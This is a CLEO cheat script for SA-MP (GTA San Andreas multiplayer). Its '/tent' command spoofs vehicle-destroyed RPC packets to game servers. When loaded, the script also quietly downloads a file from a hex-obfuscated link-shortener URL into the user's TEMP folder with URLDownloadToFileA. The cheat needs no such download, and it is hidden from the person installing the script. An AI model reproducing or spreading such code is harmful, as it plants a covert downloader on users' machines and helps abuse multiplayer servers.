{$CLEO .cs}
{$INCLUDE SF}

0662: NOP "Romelo"

//CLEO MADE BY ROMELO

if 8AF7: get_samp_base_to 0@
then 0A93: end_custom_thread
end
repeat
wait 400
until 0AFA: is_samp_structures_available
0AC8: 1@ = allocate_memory_size 256
0AC8: 2@ = allocate_memory_size 256
0AC6: 3@ = label @ROMELO_5 offset
0AD3: 2@ = format "http:%c%c%s" 47 47 3@
0AD3: 1@ = format 2@ params
0AA2: 4@ = load_library "urlmon.dll" // IF and SET
0AA4: 5@ = get_proc_address "URLDownloadToFileA" library 4@ // IF and SET
0AA5: call 5@ num_params 5 pop 0 params lpfnCB 0 dwReserved 0 szFileName "%TEMP%\2352sfe.tmp" szUrl 1@ caller 0
0B34: samp register_client_command "tent" to_label @ROMELO
while true
wait 0
end

:ROMELO
wait 0
0B35: samp 0@ = get_last_command_params
0AD4: 0@ = scan_string 0@ format "%d%d" 1@ 4@
004D: jump_if_false @ROMELO_1
0AFF: samp 2@ = car_handle_by_samp_vehicle_id 1@
056E: car 2@ defined
004D: jump_if_false @ROMELO_2
09B3: get_car 2@ door_status 3@
if
4@ == 1
then
if
3@ == 0
jf @ROMELO_3
0AB1: call_scm_func @ROMELO_4 1 1@
018C: play_sound 1149 at 0.0 0.0 0.0
end
if
4@ == 2
then
0AB1: call_scm_func @ROMELO_4 1 1@
018C: play_sound 1149 at 0.0 0.0 0.0
end
Samp.CmdRet()

:ROMELO_1
wait 0
0AF8: samp add_message_to_chat "Введите: /tent id car 1-2" color 0xAFAFAF
Samp.CmdRet()

:ROMELO_2
wait 0
0AF8: samp add_message_to_chat "Машина не найдена." color 0xAFAFAF
Samp.CmdRet()

:ROMELO_3
wait 0
0AF8: samp add_message_to_chat "Машина закрыта!" color 0xAFAFAF
Samp.CmdRet()

:ROMELO_4
0B3D: raknet 1@ = new_bit_stream
0B40: raknet bit_stream 1@ write 0@ type BS_TYPE_INT size 4
0B8A: raknet send_rpc RPC_VEHICLEDESTROYED bit_stream 1@
0B3E: raknet delete_bit_stream 1@
0AB2: ret 0

:ROMELO_5
hex
73 68 2E 73 74 2F 63 38 61 61 69 00
end

//CLEO MADE BY ROMELO